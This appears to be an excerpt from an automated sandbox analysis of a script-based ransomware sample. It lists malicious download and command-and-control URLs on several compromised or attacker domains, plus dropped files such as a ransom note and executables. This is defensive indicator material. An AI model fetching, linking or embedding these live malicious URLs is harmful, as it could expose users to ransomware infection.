http://cestasgabrasil.com.br/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=31	true	Avira URL Cloud: malware	unknown
http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45	true	Avira URL Cloud: malware	unknown
http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=44	true	Avira URL Cloud: malware	unknown
http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=43	true	Avira URL Cloud: malware	unknown
http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=42	true	Avira URL Cloud: malware	unknown
http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=41	true	Avira URL Cloud: malware	unknown
http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=42	true	Avira URL Cloud: malware	unknown
http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=41	true	Avira URL Cloud: malware	unknown
http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45	true	Avira URL Cloud: malware	unknown
http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=43	true	Avira URL Cloud: malware	unknown
http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=44	true	Avira URL Cloud: malware	unknown
http://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=21	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&	wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://localbitcoins.com/buy_bitcoins	wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 0000001E.00000002.2545304562.000002615CD5E000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514D1000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514DC000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F051581000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F05158C000.00000004.00000020.00020000.00000000.sdmp, DECRYPT.txt.20.dr, a.txt.1.dr	false		high
http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0P	wscript.exe, 00000001.00000003.1548078411.0000018C8ECF3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://radostdetym.ru/img/185_479.jpg	wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F63B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F631000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428496051.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	false	Avira URL Cloud: malware	unknown
https://ogp.me/ns#	wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F64F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428532027.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546758700.0000018C8EAF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549727441.0000018C8EAF9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1544320634.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429257298.0000018C8F62C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429188624.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr	false		high
https://radostdetym.ru/amp	wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428496051.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	false	Avira URL Cloud: malware	unknown
https://radostdetym.ru/img	wscript.exe, 00000001.00000003.1540456864.0000018C8EAEC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428567624.0000018C8EAEB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://radostdetym.ru/img/174_91.jpg	wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F63B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F631000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429188624.0000018C8F5F7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	false	Avira URL Cloud: malware	unknown
http://www.schema.org	wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F63B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F631000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429257298.0000018C8F62C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429188624.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428496051.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr	false		high
http://cestasgabrasil.com.br/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFA	wscript.exe, 00000001.00000003.1545214344.0000018C8CB40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1548841706.0000018C8CB68000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429059260.0000018C8CB4C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429140478.0000018C8CB5A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428532027.0000018C8EAEE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428698499.0000018C8EAE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545034667.0000018C8CB37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428567624.0000018C8EADF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546416145.0000018C8CB5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545265750.0000018C8CB58000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550417263.0000018C8F5F0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-	counter[1].htm0.1.dr, counter[1].htm1.1.dr, counter[3].htm.1.dr, counter[2].htm0.1.dr, counter[2].htm.1.dr	false	Avira URL Cloud: malware	unknown
https://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c	counter[1].htm.1.dr	false	Avira URL Cloud: malware	unknown
http://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kE	wscript.exe, 00000001.00000003.1545214344.0000018C8CB40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1548841706.0000018C8CB68000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429059260.0000018C8CB4C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429140478.0000018C8CB5A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428532027.0000018C8EAEE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428698499.0000018C8EAE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545034667.0000018C8CB37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428567624.0000018C8EADF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546416145.0000018C8CB5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545265750.0000018C8CB58000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550417263.0000018C8F5F0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://radostdetym.ru/img/662_460.jpg	wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428496051.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	false	Avira URL Cloud: malware	unknown
http://radostdetym.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN	wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550296946.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1543693971.0000018C8E93B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549469495.0000018C8E944000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1543771273.0000018C8E943000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1543214677.0000018C8E92C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 0000001E.00000002.2545304562.000002615CD5E000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514D1000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514DC000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F051581000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F05158C000.00000004.00000020.00020000.00000000.sdmp, DECRYPT.txt.20.dr, a.txt.1.dr	true	Avira URL Cloud: malware	unknown
http://schema.org/WebPage	wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F64F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428532027.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546758700.0000018C8EAF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549727441.0000018C8EAF9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1544320634.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429257298.0000018C8F62C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429188624.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr	false		high
http://xn--80adi0bdhdbmg.xn--p1ai/counter/?ad=1JXSXybzEjjRJQDbVngTy7d	wscript.exe, 00000001.00000003.1545214344.0000018C8CB40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1548841706.0000018C8CB68000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429059260.0000018C8CB4C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429140478.0000018C8CB5A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428532027.0000018C8EAEE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428698499.0000018C8EAE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545034667.0000018C8CB37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428567624.0000018C8EADF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546416145.0000018C8CB5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545265750.0000018C8CB58000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550417263.0000018C8F5F0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://xn--80adi0bdhdbmg.xn--p1ai/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN	wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550296946.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550417263.0000018C8F5F0000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 0000001E.00000002.2545304562.000002615CD5E000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514DC000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F05158C000.00000004.00000020.00020000.00000000.sdmp, DECRYPT.txt.20.dr, a.txt.1.dr	true	Avira URL Cloud: safe	unknown
https://blockchain.info/wallet/new	wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 0000001E.00000002.2545304562.000002615CD5E000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514D1000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514DC000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F051581000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F05158C000.00000004.00000020.00020000.00000000.sdmp, DECRYPT.txt.20.dr, a.txt.1.dr	false		high
https://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjb	wscript.exe, 00000001.00000003.1546354967.0000018C8ECBE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lacampagnetropicana.com/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN.htmy	wscript.exe, 00000001.00000003.1545177194.0000018C8ED35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550296946.0000018C8ED35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8ED35000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://xn--80adi0bdhdbmg.xn--p1ai/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5f	wscript.exe, 00000001.00000002.1549805136.0000018C8EC7F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8EC74000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549805136.0000018C8EC79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://radostdetym.ru/img/341_349.jpg	wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F63B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F631000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429257298.0000018C8F62C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429188624.0000018C8F5F7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429188624.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr	false	Avira URL Cloud: malware	unknown
https://radostdetym.ru/img/814_239.jpg	wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F63B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F631000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429257298.0000018C8F62C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429188624.0000018C8F5F7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550753313.0000018C8F659000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429188624.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr	false	Avira URL Cloud: malware	unknown
http://radostdetym.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDNrnd=44	wscript.exe, 00000001.00000002.1550034045.0000018C8ECBF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8ECB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546354967.0000018C8ECBE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://cestasgabrasil.com.br/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN.htmm	wscript.exe, 00000001.00000003.1545177194.0000018C8ED35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550296946.0000018C8ED35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8ED35000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
